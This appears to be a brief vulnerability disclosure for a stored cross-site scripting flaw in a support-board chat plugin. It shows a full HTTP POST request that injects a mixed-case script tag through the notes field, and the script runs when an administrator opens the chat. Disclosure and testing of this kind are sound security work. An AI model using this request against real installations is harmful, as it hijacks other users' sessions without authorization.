The plugin allows Authenticated (Agent+) users to perform Cross-Site Scripting attacks by placing a payload in the notes field, when an administrator or any authenticated user go to the chat the XSS will be automatically executed.
POST /supportboard/include/ajax.php HTTP/1.1
Cookie: [Agent+]
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 808
X-Requested-With: XMLHttpRequest
Connection: close
function=add-note&conversation_id=476&user_id=2&name=Robert+Smith&message=%3CScRiPt%3Ealert(/XSS/)%3C%2FsCriPt%3E&login-cookie=<cookie>&language=false